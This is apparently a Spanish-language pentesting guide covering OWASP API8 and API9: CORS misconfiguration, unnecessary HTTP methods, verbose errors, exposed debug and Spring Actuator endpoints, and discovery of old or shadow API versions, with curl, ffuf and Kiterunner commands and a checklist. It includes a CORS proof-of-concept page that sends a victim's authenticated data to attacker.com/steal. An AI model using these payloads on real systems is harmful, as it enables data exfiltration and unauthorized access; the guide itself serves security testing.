api8-and-api9-security-misconfiguration-y-shadow-apis
API8 & API9 — Security Misconfiguration y Shadow APIs
Section titled “API8 & API9 — Security Misconfiguration y Shadow APIs”API8 — Security Misconfiguration
Section titled “API8 — Security Misconfiguration”Las configuraciones de seguridad incorrectas en APIs son muy variadas. Las más frecuentes:
→ CORS demasiado permisivo→ Métodos HTTP innecesarios habilitados (DELETE, PUT en endpoints que no lo necesitan)→ Mensajes de error demasiado detallados (stack traces, queries SQL en producción)→ Cabeceras de seguridad ausentes→ TLS deshabilitado o con versión antigua→ Endpoints de debug/admin accesibles en producción→ Documentación Swagger expuesta en producción→ Variables de entorno / configuración expuestasCORS Misconfiguration en APIs
Section titled “CORS Misconfiguration en APIs”CORS (Cross-Origin Resource Sharing) controla qué dominios pueden hacer peticiones a la API desde un navegador. Una mala configuración permite que cualquier dominio lea las respuestas.
Tipos de misconfiguration
# 1. Origin reflejado sin validación (el más peligroso)# El servidor devuelve el Origin del atacante en Access-Control-Allow-Origin
Request:GET /api/users/me HTTP/1.1Origin: https://attacker.com
Response:Access-Control-Allow-Origin: https://attacker.com ← refleja el origenAccess-Control-Allow-Credentials: true ← con credenciales
# Exploit: leer la respuesta desde attacker.com con las cookies/token del usuariofetch('https://target.com/api/users/me', {credentials: 'include'}) .then(r => r.json()) .then(data => fetch('https://attacker.com/steal?d=' + JSON.stringify(data)));
# 2. Wildcard con credencialesAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: true# Nota: el estándar no permite esto (wildcard + credentials)# Pero algunos servidores mal configurados lo devuelven igual
# 3. Subdominio de confianza comprometibleAccess-Control-Allow-Origin: https://cdn.target.com# Si cdn.target.com tiene XSS o subdomain takeover → bypass
# 4. Null origin aceptadoAccess-Control-Allow-Origin: null# Cualquier iframe sandboxed o file:// puede hacer peticionesDetectar CORS inseguro
# Probar distintos orígenes y ver cuál se reflejacurl -H "Origin: https://attacker.com" -I https://target.com/api/users/mecurl -H "Origin: null" -I https://target.com/api/users/mecurl -H "Origin: https://target.com.attacker.com" -I https://target.com/api/users/mecurl -H "Origin: https://attacker.target.com" -I https://target.com/api/users/mecurl -H "Origin: https://notarget.com" -I https://target.com/api/users/me
# Con Burp Scanner (Pro)# Active Scan → busca automáticamente CORS inseguro
# Script de detecciónorigins=( "https://attacker.com" "https://target.com.attacker.com" "https://attacker.target.com" "null" "http://target.com" "https://sub.target.com")
for origin in "${origins[@]}"; do response=$(curl -s -I -H "Origin: $origin" https://target.com/api/users/me) acao=$(echo "$response" | grep -i "access-control-allow-origin") acac=$(echo "$response" | grep -i "access-control-allow-credentials") if [ -n "$acao" ]; then echo "[!] Origin: $origin → $acao $acac" fidonePoC de explotación CORS
<!-- Página en attacker.com que roba datos via CORS misconfiguration --><!DOCTYPE html><html><body><script>// El usuario víctima visita esta página mientras tiene sesión en target.comfetch('https://target.com/api/users/me', { credentials: 'include' // envía las cookies de target.com}).then(response => response.json()).then(data => { // Exfiltrar datos al servidor del atacante fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(data) }); document.body.innerHTML = JSON.stringify(data);});</script></body></html>Métodos HTTP innecesarios
Section titled “Métodos HTTP innecesarios”# Verificar qué métodos acepta la APIcurl -X OPTIONS https://target.com/api/users -I# Respuesta: Allow: GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD
# Probar métodos que no deberían estar disponibles# TRACE — puede revelar cabeceras internas (XST attack)curl -X TRACE https://target.com/api/users
# DELETE en recursos que no deberían borrarsecurl -X DELETE https://target.com/api/users/1042 -H "Authorization: Bearer TOKEN"
# PUT para crear recursos arbitrarioscurl -X PUT https://target.com/api/users/9999 \ -H "Content-Type: application/json" \ -d '{"id":9999,"email":"created@evil.com","role":"admin"}'Verbose errors (Stack traces en producción)
Section titled “Verbose errors (Stack traces en producción)”# Provocar errores intencionados para ver si revelan información internacurl https://target.com/api/users/INVALID_FORMATcurl https://target.com/api/users/99999999999999curl -X POST https://target.com/api/users -d 'invalid json{'curl https://target.com/api/users?id[]=1 # Array injection
# Respuesta vulnerable:{ "error": "Internal Server Error", "message": "Column 'user_id' cannot be null", "stack": "at /app/src/controllers/UserController.js:45:12\n at ...", "query": "SELECT * FROM users WHERE id = 'INVALID_FORMAT'"}
# Información revelada:# → Nombres de columnas de la base de datos# → Rutas del sistema de archivos del servidor# → Versión del framework y librerías# → Queries SQL internas# → IPs internas en los stack tracesEndpoints de debug/admin en producción
Section titled “Endpoints de debug/admin en producción”# Endpoints de diagnóstico que no deberían estar en producción/api/debug/api/debug/users/api/debug/config/api/health (a veces revela demasiado)/api/info/api/status/api/version/api/test/api/dev/api/internal
# Spring Boot Actuator (muy común en APIs Java)/actuator/actuator/env ← variables de entorno con contraseñas en claro/actuator/beans ← beans de Spring/actuator/mappings ← todos los endpoints/actuator/dump ← heap dump/actuator/health/actuator/info/actuator/metrics
# Django Debug Toolbar / Django Admin/api/__debug__//admin/
# Laravel Telescope/telescope/telescope/api/requestsAPI9 — Improper Inventory Management
Section titled “API9 — Improper Inventory Management”¿Qué es?
Section titled “¿Qué es?”La organización no tiene un inventario actualizado de todas sus APIs. Como resultado:
→ Versiones antiguas de la API siguen activas (/api/v1/ aunque esté /api/v3/)→ Las versiones antiguas tienen menos controles de seguridad→ APIs de testing/staging accesibles desde producción→ APIs de terceros integradas sin auditar→ Endpoints no documentados ("shadow APIs")→ APIs de microservicios internas expuestas por error al exteriorDescubrir versiones antiguas de la API
Section titled “Descubrir versiones antiguas de la API”# Probar versiones numéricas/api/v1//api/v2//api/v3//api/v0/ ← proto-versión, sin controles/api/beta//api/alpha//api/legacy//api/old//api/2019/ ← versiones por año/api/2020//api/2021/
# Con subdominioshttps://api-v1.target.com/https://api-legacy.target.com/https://api-beta.target.com/https://staging-api.target.com/https://dev-api.target.com/
# En cabeceras de versiónGET /api/users HTTP/1.1API-Version: 1X-API-Version: 1Accept: application/vnd.target.v1+jsonPor qué las versiones antiguas son más vulnerables
/api/v3/users/{id} → tiene autenticación JWT + autorización por objeto/api/v1/users/{id} → autenticación básica sin BOLA check
/api/v3/admin/users → solo admins, verifica rol en el token/api/v1/admin/users → sin control de roles (se añadió después)
Casos reales frecuentes:→ v1 no tiene rate limiting (se añadió en v2)→ v1 devuelve la contraseña en claro (se hasheó en v2)→ v1 no verifica el token de sesión en algunos endpoints (se parchó en v2)Descubrir shadow APIs
Section titled “Descubrir shadow APIs”# Shadow APIs: endpoints que existen pero no están documentados# Se descubren por:# 1. Análisis del JS de la appgrep -E "(fetch|axios|http)\s*\(['\"]" app.jsgrep -E "/api/[a-z_-]+" app.js | sort -u
# 2. Mobile app decompilation# Descompilar APK con jadx o apktooljadx -d output/ app.apkgrep -r "api\." output/sources/
# 3. Wayback Machine / Archivegau target.com | grep "/api/" | sort -uwaybackurls target.com | grep "/api/"
# 4. Wordlists específicas de APIsffuf -u https://target.com/api/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/api/api-seen-in-wild.txt \ -mc 200,201,401,403 \ -o api_endpoints.json
# 5. Kiterunner con múltiples wordlistskr scan https://target.com -w routes-large.kitekr scan https://target.com -w /path/to/swagger_wordlist.txt
# 6. Buscar en documentación pública / Postman collections# Muchas empresas tienen colecciones de Postman públicas en:# https://www.postman.com/search/collections?q=target.comEntornos de testing expuestos en producción
Section titled “Entornos de testing expuestos en producción”# Subdominios de staging/dev que usan datos de producciónhttps://staging.target.com/api/https://dev.target.com/api/https://test.target.com/api/https://qa.target.com/api/https://sandbox.target.com/api/https://uat.target.com/api/
# Estos entornos suelen tener:# → Credenciales de producción en las variables de entorno# → Menor seguridad (sin WAF, sin rate limiting)# → Misma base de datos que producción (o copia reciente)# → Swagger/debug expuesto que no está en producciónInconsistencias entre versiones
Section titled “Inconsistencias entre versiones”# Si en v2 hay BOLA check pero en v1 no:GET /api/v2/users/1043 → 403 ForbiddenGET /api/v1/users/1043 → 200 OK {datos de 1043} ← bypass
# Si en v2 hay auth pero en v1 no:GET /api/v2/admin/users → 401 UnauthorizedGET /api/v1/admin/users → 200 OK {lista de usuarios}
# Si en v2 hay rate limiting pero en v1 no:POST /api/v2/auth/login (100 veces) → 429 Too Many RequestsPOST /api/v1/auth/login (100 veces) → 200/401 cada vez (sin límite)
# Probar la misma acción en todas las versiones encontradasfor version in v0 v1 v2 v3 beta legacy old; do echo "=== /api/$version ===" curl -s -o /dev/null -w "%{http_code}" \ "https://target.com/api/$version/users/1043" \ -H "Authorization: Bearer TOKEN_USUARIO_A" echo ""doneChecklist API8 & API9
Section titled “Checklist API8 & API9”CORS (API8):□ Probar Origin: https://attacker.com → ¿se refleja?□ Probar Origin: null → ¿aceptado?□ Verificar si Access-Control-Allow-Credentials: true con origen reflejado□ Comprobar que los dominios en la whitelist no tienen XSS
Métodos HTTP (API8):□ Enviar OPTIONS a endpoints clave → ver qué métodos están habilitados□ Probar TRACE en el API server□ Probar DELETE/PUT en recursos no esperados
Errores verbose (API8):□ Provocar errores con inputs inválidos → ¿hay stack traces?□ ¿Se revelan nombres de columnas, tablas, rutas del sistema?
Endpoints de debug (API8):□ Probar /actuator, /actuator/env en APIs Java/Spring□ Probar /api/debug, /api/info, /api/test□ Verificar si Swagger está expuesto en producción
Shadow APIs y versiones (API9):□ Probar /api/v1/, /api/v0/, /api/beta/, /api/legacy/□ Descubrir endpoints en el JS con grep□ Buscar colecciones de Postman públicas en postman.com□ Probar staging/dev subdomains con datos de producción□ Si v2 tiene controles, verificar si v1 también los tieneLos endpoints
/actuator/enven APIs Spring Boot son hallazgos críticos: exponen contraseñas de base de datos, API keys y secretos de aplicación en texto plano. Buscarlos siempre en cualquier API Java.
Buscar colecciones de Postman públicas con
site:postman.com "target.com"en Google frecuentemente revela endpoints no documentados, tokens de ejemplo hardcodeados, y la estructura completa de la API sin necesidad de fuzzing.
⚠CORS con
Access-Control-Allow-Origin: *sinAccess-Control-Allow-Credentials: truees inofensivo para APIs autenticadas con cookies. El problema real es el CORS reflejado + credenciales, que permite a cualquier web leer respuestas autenticadas de la API.